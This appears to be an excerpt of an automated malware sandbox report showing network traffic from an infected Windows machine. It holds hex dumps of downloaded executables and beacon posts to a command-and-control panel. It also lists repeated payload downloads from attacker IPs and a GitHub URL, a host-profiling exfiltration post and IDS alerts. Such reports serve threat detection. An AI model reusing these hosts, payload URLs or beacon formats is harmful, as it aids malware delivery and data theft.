00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Thu, 19 Dec 2024 02:09:30 GMTContent-Type: application/octet-streamContent-Length: 4462080Last-Modified: Thu, 19 Dec 2024 01:42:44 GMTConnection: keep-aliveETag: "67637a14-441600"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 9f 99 62 67 00 00 00 00 00 00 00 00 e0 00 0e 03 0b 01 02 28 00 44 49 00 00 24 6c 00 00 32 00 00 00 20 be 00 00 10 00 00 00 60 49 00 00 00 40 00 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 50 be 00 00 04 00 00 4c 5a 44 00 02 00 40 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 5f 90 69 00 73 00 00 00 00 80 69 00 ac 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 fc fe bd 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ac fe bd 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 70 69 00 00 10 00 00 00 48 28 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 ac 01 00 00 00 80 69 00 00 02 00 00 00 58 28 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 90 69 00 00 02 00 00 00 5a 28 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 d0 38 00 00 a0 69 00 00 02 00 00 00 5c 28 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 6e 6c 72 72 78 75 73 78 00 a0 1b 00 00 70 a2 00 00 92 1b 00 00 5e 28 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 6b 6f 62 77 6f 77 76 72 00 10 00 00 00 10 be 00 00 04 00 00 00 f0 43 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 20 be 00 00 22 00 00 00 f4 43 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Thu, 19 Dec 2024 02:09:42 GMTContent-Type: application/octet-streamContent-Length: 21504Last-Modified: Wed, 18 Dec 2024 18:13:28 GMTConnection: keep-aliveETag: "676310c8-5400"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 70 6d 3b c0 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 4a 00 00 00 08 00 00 00 00 00 00 3a 69 00 00 00 20 00 00 00 80 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 c0 00 00 00 02 00 00 00 00 00 00 03 00 60 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 e6 68 00 00 4f 00 00 00 00 80 00 00 9c 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 a0 00 00 0c 00 00 00 54 68 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 08 00 00 00 00 00 00 00 00 00 00 00 08 20 00 00 48 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 40 49 00 00 00 20 00 00 00 4a 00 00 00 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 73 72 63 00 00 00 9c 05 00 00 00 80 00 00 00 06 00 00 00 4c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 0c 00 00 00 00 a0 00 00 00 02 00 00 00 52 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 1a 69 00 00 00 00 00 00 48 00 00 00 02 00 05 00 e4 36 00 00 70 31 00 00 03 00 02 00 1b 00 00 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 13 30 02 00 38 00 00 00 01 00 00 11 73 32 00 00 06 0a 06 28 16 00 00 0a 7d 3c 00 00 04 06 02 7d 3d 00 00 04 06 15 7d 3b 00 00 04 06 7c 3c 00 00 04 12 00 28 01 00 00 2b 06 7c 3c 00 00 04 28 18 00 00 0a 2a 13 30 02 00 50 00 00 00 02 00 00 11 00 7e 02 00 00 04 16 fe 01 0a 06 2c 42 00 72 01 00 00 70 28 19 00 00 0a 00 72 63 00 00 70 28 19 00 00 0a 00 28 05 00 00 06 0b 72 a9 00 00 70 07 28 1a 00 00 0a 28 19 00 00 0a 00 07 28 04 00 00 06 6f 1b 00 00 0a 00 16 28 1c 00 00 0a 00 00 2a 13 30 02 00 38 00 00 00 03 00 00 11 73 2c 00 00 06 0a 06 28 16 00 00 0a 7d 15 00 00 04 06 02 7d 16 00 00 04 06 15 7d 14 00 00 04 06 7c 15 00 00 04 12 00 28 02 00 00 2b 06 7c 15 00 00 04 28 18 00 00 0a 2a 13 30 05 00 48 00 00 00 04 00 00 11 00 73 1d 00 00 0a 0a 1a 8d 2f 00 00 01 0b 16 0c 2b 1c 00 07 08 7e 03 00 00 04 06 7e 03 00 00 04 8e 69 6f 1e 00 00 0a 9a a2 00 08 17 58 0c 08 1a fe 04 0d 09 2d dc 72 cf 00 00 70 07 28 1f 00 00 0a 13 04 2b 00 11 04 2a 13 30 02 00 16
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Thu, 19 Dec 2024 02:09:48 GMTContent-Type: application/octet-streamContent-Length: 2003968Last-Modified: Thu, 19 Dec 2024 01:42:28 GMTConnection: keep-aliveETag: "67637a04-1e9400"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 10 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 cd d8 9a 7a 89 b9 f4 29 89 b9 f4 29 89 b9 f4 29 c2 c1 f7 28 82 b9 f4 29 c2 c1 f1 28 06 b9 f4 29 c2 c1 f0 28 9d b9 f4 29 9c c6 f1 28 af b9 f4 29 9c c6 f0 28 98 b9 f4 29 9c c6 f7 28 9d b9 f4 29 c2 c1 f5 28 8a b9 f4 29 89 b9 f5 29 da b9 f4 29 89 b9 f4 29 8b b9 f4 29 b3 39 f0 28 8a b9 f4 29 b3 39 0b 29 88 b9 f4 29 b3 39 f6 28 88 b9 f4 29 52 69 63 68 89 b9 f4 29 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 5f 7b 5f 64 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 25 00 7c 03 00 00 5e 03 00 00 00 01 00 00 f0 4b 00 00 10 00 00 00 90 03 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 20 4c 00 00 04 00 00 90 11 1f 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 56 e0 07 00 6a 00 00 00 00 c0 07 00 6c 16 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 e1 07 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 b0 07 00 00 10 00 00 00 3c 04 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 6c 16 00 00 00 c0 07 00 00 08 00 00 00 4c 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 e0 07 00 00 02 00 00 00 54 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 d0 29 00 00 f0 07 00 00 02 00 00 00 56 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 75 66 73 77 70 6e 77 6d 00 20 1a 00 00 c0 31 00 00 16 1a 00 00 58 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 73 71 67 70 7a 64 69 70 00 10 00 00 00 e0 4b 00 00 04 00 00 00 6e 1e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 f0 4b 00 00 22 00 00 00 72 1e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Thu, 19 Dec 2024 02:09:56 GMTContent-Type: application/octet-streamContent-Length: 765568Last-Modified: Tue, 17 Dec 2024 09:46:16 GMTConnection: keep-aliveETag: "67614868-bae80"Accept-Ranges: bytesData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 09 00 a3 1e 60 67 00 00 00 00 00 00 00 00 e0 00 22 01 0b 01 0e 00 00 aa 01 00 00 c0 00 00 00 00 00 00 52 59 00 00 00 10 00 00 00 00 00 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 f0 0b 00 00 08 00 00 00 00 00 00 03 00 40 83 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 98 37 02 00 3c 00 00 00 00 a0 02 00 e8 00 00 00 00 00 00 00 00 00 00 00 00 80 0b 00 80 2e 00 00 00 b0 02 00 40 19 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 58 fe 01 00 18 00 00 00 e8 cd 01 00 c0 00 00 00 00 00 00 00 00 00 00 00 28 39 02 00 54 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 9c a8 01 00 00 10 00 00 00 aa 01 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 24 8b 00 00 00 c0 01 00 00 8c 00 00 00 b2 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 6c 22 00 00 00 50 02 00 00 16 00 00 00 3e 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 62 73 53 00 00 00 00 53 00 00 00 00 80 02 00 00 02 00 00 00 54 02 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 74 6c 73 00 00 00 00 09 00 00 00 00 90 02 00 00 02 00 00 00 56 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 e8 00 00 00 00 a0 02 00 00 02 00 00 00 58 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 40 19 00 00 00 b0 02 00 00 1a 00 00 00 5a 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 2e 62 73 73 00 00 00 00 00 86 04 00 00 d0 02 00 00 86 04 00 00 74 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 62 73 73 00 00 00 00 00 86 04 00 00 60 07 00 00 86 04 00 00 fa 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0

Source: global traffic	HTTP traffic detected: GET /ip HTTP/1.1Host: httpbin.orgAccept: /
Source: global traffic	HTTP traffic detected: GET /Urijas/moperats/raw/refs/heads/main/jthjjdweajtujhjad.exe HTTP/1.1Host: github.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /Urijas/moperats/refs/heads/main/jthjjdweajtujhjad.exe HTTP/1.1Host: raw.githubusercontent.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 44 42 33 32 41 37 30 42 39 35 39 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7DB32A70B95982D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Source: global traffic	HTTP traffic detected: GET /files/burpin1/random.exe HTTP/1.1Host: 31.41.244.11
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 31 37 32 35 33 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1017253001&unit=246122658369
Source: global traffic	HTTP traffic detected: GET /files/geopoxid/random.exe HTTP/1.1Host: 31.41.244.11
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 31 37 32 35 34 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1017254001&unit=246122658369
Source: global traffic	HTTP traffic detected: GET /files/martin/random.exe HTTP/1.1Host: 31.41.244.11
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 31 37 32 35 35 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1017255001&unit=246122658369
Source: global traffic	HTTP traffic detected: GET /files/lolz/random.exe HTTP/1.1Host: 31.41.244.11
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 31 37 32 35 36 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1017256001&unit=246122658369
Source: global traffic	HTTP traffic detected: POST /hLfzXsaqNtoEGyaUtOMJ1734514745 HTTP/1.1Host: home.fivetk5vt.topAccept: /Content-Type: application/jsonContent-Length: 555941Data Raw: 7b 20 22 69 70 22 3a 20 22 38 2e 34 36 2e 31 32 33 2e 31 38 39 22 2c 20 22 63 75 72 72 65 6e 74 5f 74 69 6d 65 22 3a 20 22 31 37 33 34 35 37 34 31 38 33 22 2c 20 22 4e 75 6d 5f 70 72 6f 63 65 73 73 6f 72 22 3a 20 34 2c 20 22 4e 75 6d 5f 72 61 6d 22 3a 20 37 2c 20 22 64 72 69 76 65 72 73 22 3a 20 5b 20 7b 20 22 6e 61 6d 65 22 3a 20 22 43 3a 5c 5c 22 2c 20 22 61 6c 6c 22 3a 20 32 32 33 2e 30 2c 20 22 66 72 65 65 22 3a 20 31 36 38 2e 30 20 7d 20 5d 2c 20 22 4e 75 6d 5f 64 69 73 70 6c 61 79 73 22 3a 20 31 2c 20 22 72 65 73 6f 6c 75 74 69 6f 6e 5f 78 22 3a 20 31 32 38 30 2c 20 22 72 65 73 6f 6c 75 74 69 6f 6e 5f 79 22 3a 20 31 30 32 34 2c 20 22 72 65 63 65 6e 74 5f 66 69 6c 65 73 22 3a 20 35 30 2c 20 22 70 72 6f 63 65 73 73 65 73 22 3a 20 5b 20 7b 20 22 6e 61 6d 65 22 3a 20 22 5b 53 79 73 74 65 6d 20 50 72 6f 63 65 73 73 5d 22 2c 20 22 70 69 64 22 3a 20 30 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 53 79 73 74 65 6d 22 2c 20 22 70 69 64 22 3a 20 34 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 52 65 67 69 73 74 72 79 22 2c 20 22 70 69 64 22 3a 20 39 32 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 73 6d 73 73 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 33 33 32 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 63 73 72 73 73 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 34 32 30 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 77 69 6e 69 6e 69 74 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 34 39 36 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 63 73 72 73 73 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 35 30 34 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 77 69 6e 6c 6f 67 6f 6e 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 35 36 34 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 73 65 72 76 69 63 65 73 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 36 33 32 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 6c 73 61 73 73 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 36 34 30 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 73 76 63 68 6f 73 74 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 37 35 32 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 66 6f 6e 74 64 72 76 68 6f 73 74 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 37 38 30 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 66 6f 6e 74 64 72 76 68 6f 73 74 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 37 38 38 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 73 76 63 68 6f 73 74 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 38 37 32 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 73 76 63 68 6f 73 74 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 39 32 34 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 64 77 6d 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 39 39 32 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 73 76 63 68 6f 73 74 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 34 34 34 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 73 76 63 68 6f 73 74 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 37 33 32 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3
Source: global traffic	HTTP traffic detected: GET /files/unique3/random.exe HTTP/1.1Host: 31.41.244.11
Source: global traffic	HTTP traffic detected: GET /hLfzXsaqNtoEGyaUtOMJ1734514745?argument=hUVxu2Vrg4cEhZp41734574187 HTTP/1.1Host: home.fivetk5vt.topAccept: /
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 31 37 32 35 37 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1017257001&unit=246122658369
Source: global traffic	HTTP traffic detected: GET /files/dodo/random.exe HTTP/1.1Host: 31.41.244.11

Source: Joe Sandbox View	IP Address: 185.215.113.43 185.215.113.43
Source: Joe Sandbox View	IP Address: 34.226.108.155 34.226.108.155

Source: Joe Sandbox View

ASN Name: WHOLESALECONNECTIONSNL WHOLESALECONNECTIONSNL

Source: Joe Sandbox View	JA3 fingerprint: 3b5074b1b5d032e5620f69f9f700ff0e
Source: Joe Sandbox View	JA3 fingerprint: a0e9f5d64349fb13191bc781f81f42e1

Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.5:49835 -> 31.41.244.11:80
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.5:49862 -> 31.41.244.11:80
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49878 -> 104.21.67.146:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.5:49885 -> 31.41.244.11:80
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49887 -> 104.21.67.146:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49893 -> 104.21.67.146:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49899 -> 104.21.67.146:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49905 -> 104.21.67.146:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49924 -> 104.21.67.146:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.5:49920 -> 31.41.244.11:80
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49914 -> 104.21.67.146:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.5:49935 -> 31.41.244.11:80
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49937 -> 104.21.67.146:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.5:49960 -> 31.41.244.11:80
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49977 -> 104.21.66.85:443

Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: cheapptaxysu.click
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 42Host: cheapptaxysu.click
